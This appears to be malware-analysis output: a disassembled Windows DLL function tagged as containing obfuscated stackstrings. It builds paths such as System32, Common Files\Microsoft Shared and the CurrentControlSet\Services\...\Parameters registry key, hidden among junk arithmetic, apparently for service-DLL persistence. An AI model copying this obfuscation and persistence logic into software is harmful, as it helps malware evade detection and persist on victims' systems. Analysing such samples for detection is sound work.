Function at 0x100028ff
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
and byte [ebp - 0x700], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x6ff]
rep stosd dword es:[edi], eax
cmp dword [0x100061c0], 0
push 0x3f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
jne 0x10002aab
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100066a4]
add dword [0x100066bc], 0x7660
add eax, 0x2c07
add dword [0x100066b0], 0x4e98
add eax, 0x5c73
add dword [0x100066a0], 0x6dcf
add eax, 0x69bf
add dword [0x100066b4], 0x98f9
add eax, 0xa01d
add dword [0x100066b0], 0x3b7d
add dword [0x100066bc], 0xc0c
add eax, 0x2d63
add dword [0x100066ac], 0x2f4d
add dword [0x1000669c], 0x1727
add dword [0x100066b8], 0x271
add dword [0x100066b4], 0x5c89
add dword [0x100066a0], 0x52fd
add dword [0x100066b0], 0x16c9
add dword [0x10006698], 0x44de
and byte [ebp - 0xeb], 0
add dword [0x100066bc], 0x5f69
mov dword [0x100066a4], eax
lea eax, [ebp - 0x100]
mov byte [ebp - 0x100], 0x25
push eax
lea eax, [ebp - 0x700]
push eax
mov byte [ebp - 0xff], 0x53
mov byte [ebp - 0xfe], 0x79
mov byte [ebp - 0xfd], 0x73
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x6d
mov byte [ebp - 0xf9], 0x52
mov byte [ebp - 0xf8], 0x6f
mov byte [ebp - 0xf7], 0x6f
mov byte [ebp - 0xf6], 0x74
mov byte [ebp - 0xf5], 0x25
mov byte [ebp - 0xf4], 0x5c
mov byte [ebp - 0xf3], 0x53
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x73
mov byte [ebp - 0xf0], 0x74
mov byte [ebp - 0xef], 0x65
mov byte [ebp - 0xee], 0x6d
mov byte [ebp - 0xed], 0x33
mov byte [ebp - 0xec], 0x32
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add dword [0x100066bc], 0x3dce
jmp 0x10002d5e
xor eax, eax
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
mov ecx, dword [0x100066a0]
mov esi, dword [0x100066a8]
stosw word es:[edi], ax
mov edx, dword [0x10006698]
add dword [0x1000669c], 0x2ebe
stosb byte es:[edi], al
mov edi, dword [0x100066ac]
mov eax, dword [0x100066b4]
add dword [0x1000669c], 0x62ea
add dword [0x100066bc], 0x6333
add dword [0x100066b8], 0x2eae
add dword [0x100066a4], 0x927f
add ecx, 0x663c
add dword [0x100066bc], 0x2556
add dword [0x100066b0], 0x48d7
add dword [0x100066b8], 0x448c
add dword [0x1000669c], 0x2663
add dword [0x100066a4], 0x5bb4
add edi, 0x7d7a
add eax, 0x5d66
add esi, 0x2047
add ecx, 0x5ce3
add edi, 0x7428
add edx, 0x33f3
add eax, 0x7aff
add esi, 0x9c34
add ecx, 0x4a60
add edi, 0xb804
add edx, 0x43ef
add esi, 0x5c65
add eax, 0x69e3
add ecx, 0x6bf
add edi, 0x12df
add ecx, 0x1b27
add eax, 0x4d42
add esi, 0x5ccf
add edx, 0x267c
add edi, 0x69bb
mov byte [ebp - 0x100], 0x25
mov byte [ebp - 0xff], 0x50
mov byte [ebp - 0xfe], 0x72
mov byte [ebp - 0xfd], 0x6f
mov byte [ebp - 0xfc], 0x67
mov byte [ebp - 0xfb], 0x72
mov byte [ebp - 0xfa], 0x61
mov byte [ebp - 0xf9], 0x6d
mov byte [ebp - 0xf8], 0x46
mov byte [ebp - 0xf7], 0x69
mov byte [ebp - 0xf6], 0x6c
mov byte [ebp - 0xf5], 0x65
mov byte [ebp - 0xf4], 0x73
mov byte [ebp - 0xf3], 0x25
mov byte [ebp - 0xf2], 0x5c
mov byte [ebp - 0xf1], 0x43
mov byte [ebp - 0xf0], 0x6f
mov byte [ebp - 0xef], 0x6d
mov byte [ebp - 0xee], 0x6d
mov byte [ebp - 0xed], 0x6f
mov byte [ebp - 0xec], 0x6e
mov byte [ebp - 0xeb], 0x20
mov byte [ebp - 0xea], 0x46
mov byte [ebp - 0xe9], 0x69
mov dword [0x100066a0], ecx
mov byte [ebp - 0xe8], 0x6c
mov byte [ebp - 0xe7], 0x65
mov byte [ebp - 0xe6], 0x73
mov byte [ebp - 0xe5], 0x5c
mov byte [ebp - 0xe4], 0x4d
mov byte [ebp - 0xe3], 0x69
mov byte [ebp - 0xe2], 0x63
mov byte [ebp - 0xe1], 0x72
mov byte [ebp - 0xe0], 0x6f
mov byte [ebp - 0xdf], 0x73
mov byte [ebp - 0xde], 0x6f
mov byte [ebp - 0xdd], 0x66
mov byte [ebp - 0xdc], 0x74
mov dword [0x100066ac], edi
mov byte [ebp - 0xdb], 0x20
add eax, 0x9fda
add dword [0x100066b0], 0x45ea
add dword [0x100066bc], 0x8de
add dword [0x1000669c], 0x2463
and byte [ebp - 0xd4], 0
mov dword [0x100066b4], eax
lea eax, [ebp - 0x100]
add edx, 0x42d4
push eax
lea eax, [ebp - 0x700]
add esi, 0xe4b
add edx, 0x73dc
push eax
mov byte [ebp - 0xda], 0x53
mov dword [0x100066a8], esi
mov byte [ebp - 0xd9], 0x68
mov byte [ebp - 0xd8], 0x61
mov byte [ebp - 0xd7], 0x72
mov byte [ebp - 0xd6], 0x65
mov dword [0x10006698], edx
mov byte [ebp - 0xd5], 0x64
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add dword [0x100066ac], 0x30a5
push 0x10006408
lea eax, [ebp - 0x700]
push str._s.dll
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x700]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x5ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
mov ebx, dword [0x100066ac]
mov edx, dword [0x100066a4]
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ff]
add dword [0x100066b8], 0x79c1
mov esi, dword [0x100066a8]
rep stosd dword es:[edi], eax
add dword [0x100066b8], 0x1ffb
add dword [0x100066b0], 0x6ebc
add dword [0x10006698], 0x1659
add dword [0x100066b8], 0x4b22
add dword [0x100066a0], 0x294b
add dword [0x100066b8], 0x7397
add dword [0x100066b4], 0x409f
add dword [0x10006698], 0x7b79
add dword [0x100066b0], 0x2303
and byte [ebp - 0x5f9], 0
add dword [0x100066a0], 0x25dc
add dword [0x100066bc], 0x1c2f
add dword [0x100066b4], 0x733d
add dword [0x100066b8], 0x192c
add dword [0x10006698], 0x17c7
add dword [0x100066b0], 0x14f2
stosw word es:[edi], ax
add ebx, 0xbd9f
add edx, 0x4fb3
add esi, 0x56af
add ebx, 0x2274
add edx, 0x469
push 0x3f
stosb byte es:[edi], al
and byte [ebp - 0x2ef], 0
add esi, 0x2490
add edx, 0x593a
add ebx, 0x777a
pop ecx
xor eax, eax
lea edi, [ebp - 0x3ff]
mov byte [ebp - 0x600], 0x53
rep stosd dword es:[edi], eax
mov byte [ebp - 0x5ff], 0x59
mov byte [ebp - 0x5fe], 0x53
mov byte [ebp - 0x5fd], 0x54
mov byte [ebp - 0x5fc], 0x45
mov byte [ebp - 0x5fb], 0x4d
mov byte [ebp - 0x5fa], 0x5c
mov byte [ebp - 0x300], 0x43
mov byte [ebp - 0x2ff], 0x75
mov byte [ebp - 0x2fe], 0x72
mov byte [ebp - 0x2fd], 0x72
mov byte [ebp - 0x2fc], 0x65
mov byte [ebp - 0x2fb], 0x6e
mov byte [ebp - 0x2fa], 0x74
mov byte [ebp - 0x2f9], 0x43
mov byte [ebp - 0x2f8], 0x6f
mov byte [ebp - 0x2f7], 0x6e
mov byte [ebp - 0x2f6], 0x74
mov byte [ebp - 0x2f5], 0x72
mov byte [ebp - 0x2f4], 0x6f
mov byte [ebp - 0x2f3], 0x6c
mov byte [ebp - 0x2f2], 0x53
mov byte [ebp - 0x2f1], 0x65
mov byte [ebp - 0x2f0], 0x74
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x4ff]
rep stosd dword es:[edi], eax
and byte [ebp - 0x804], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
add esi, 0x49b5
pop ecx
xor eax, eax
lea edi, [ebp - 0x803]
add esi, 0x62f0
add dword [0x10006698], 0x7474
rep stosd dword es:[edi], eax
add dword [0x100066b4], 0x6352
add esi, 0x15f
add dword [0x10006698], 0x48b8
add dword [0x100066b0], 0x7d46
add dword [0x100066b4], 0x1d5e
add dword [0x100066a0], 0x9ca0
add edx, 0x3f85
add dword [0x100066b8], 0x1d54
and byte [ebp - 0x3f3], 0
add dword [0x100066b4], 0x4eeb
add dword [0x10006698], 0x7efe
add esi, 0x2769
add dword [0x100066a0], 0x6959
and byte [ebp - 0x4f6], 0
add dword [0x100066b0], 0x6013
add edx, 0x4efd
add ebx, 0x6cd3
add esi, 0x216e
add edx, 0x1d19
add ebx, 0x3c7a
mov dword [0x100066a8], esi
mov esi, 0x10006408
stosw word es:[edi], ax
add edx, 0x63e4
add ebx, 0x7710
push esi
mov byte [ebp - 0x400], 0x43
mov byte [ebp - 0x3ff], 0x6f
mov byte [ebp - 0x3fe], 0x6e
mov byte [ebp - 0x3fd], 0x74
mov byte [ebp - 0x3fc], 0x72
mov byte [ebp - 0x3fb], 0x6f
mov byte [ebp - 0x3fa], 0x6c
mov byte [ebp - 0x3f9], 0x53
mov dword [0x100066a4], edx
mov byte [ebp - 0x3f8], 0x65
mov byte [ebp - 0x3f7], 0x74
mov byte [ebp - 0x3f6], 0x30
mov byte [ebp - 0x3f5], 0x30
mov byte [ebp - 0x3f4], 0x31
mov byte [ebp - 0x500], 0x5c
mov byte [ebp - 0x4ff], 0x53
mov byte [ebp - 0x4fe], 0x65
mov byte [ebp - 0x4fd], 0x72
mov byte [ebp - 0x4fc], 0x76
mov byte [ebp - 0x4fb], 0x69
mov byte [ebp - 0x4fa], 0x63
mov byte [ebp - 0x4f9], 0x65
mov dword [0x100066ac], ebx
mov byte [ebp - 0x4f8], 0x73
mov byte [ebp - 0x4f7], 0x5c
stosb byte es:[edi], al
call fcn.10002517
mov edx, dword [0x100066b8]
add esp, 0x10
add edx, 0x33c6
xor eax, eax
push 0x3f
lea edi, [ebp - 0x1ff]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x200], 0x25
lea eax, [ebp - 0x500]
push esi
push eax
lea eax, [ebp - 0x300]
add dword [0x100066b0], 0x4290
add dword [0x100066b4], 0x437c
add dword [0x100066a4], 0x2ce4
push eax
add dword [0x100066b0], 0x5e6
add dword [0x100066a0], 0x7cc3
add dword [0x100066a8], 0x532d
add dword [0x100066a4], 0x3fd7
add dword [0x100066b4], 0x6efe
lea eax, [ebp - 0x600]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
add dword [0x10006698], 0x30f6
add dword [0x100066bc], 0x8afe
add dword [0x100066a0], 0x32db
add dword [0x100066a8], 0x145c
add dword [0x100066b0], 0x2783
add dword [0x100066b4], 0x67ec
add dword [0x100066a4], 0x53de
and byte [ebp - 0x1ed], 0
push eax
add edx, 0x5744
lea eax, [ebp - 0x200]
add edx, 0x44d
push eax
lea eax, [ebp - 0x804]
add edx, 0x427
push eax
mov byte [ebp - 0x1ff], 0x73
mov byte [ebp - 0x1fe], 0x25
mov byte [ebp - 0x1fd], 0x73
mov byte [ebp - 0x1fc], 0x25
mov byte [ebp - 0x1fb], 0x73
mov byte [ebp - 0x1fa], 0x25
mov byte [ebp - 0x1f9], 0x73
mov byte [ebp - 0x1f8], 0x5c
mov byte [ebp - 0x1f7], 0x50
mov byte [ebp - 0x1f6], 0x61
mov byte [ebp - 0x1f5], 0x72
mov byte [ebp - 0x1f4], 0x61
mov byte [ebp - 0x1f3], 0x6d
mov byte [ebp - 0x1f2], 0x65
mov byte [ebp - 0x1f1], 0x74
mov byte [ebp - 0x1f0], 0x65
mov byte [ebp - 0x1ef], 0x72
mov byte [ebp - 0x1ee], 0x73
mov dword [0x100066b8], edx
call edi
add dword [0x100066a8], 0x1026
lea eax, [ebp - 0x700]
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.10002371
add esp, 0x20
lea eax, [ebp - 0x500]
add dword [0x10006698], 0x637b
push esi
push eax
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x600]
push eax
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x804]
push eax
call edi
add dword [0x100066bc], 0x4a1d
lea eax, [ebp - 0x700]
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.10002371
add esp, 0x20
add dword [0x100066a4], 0x2e4f
pop edi
pop esi
pop ebx
leave
ret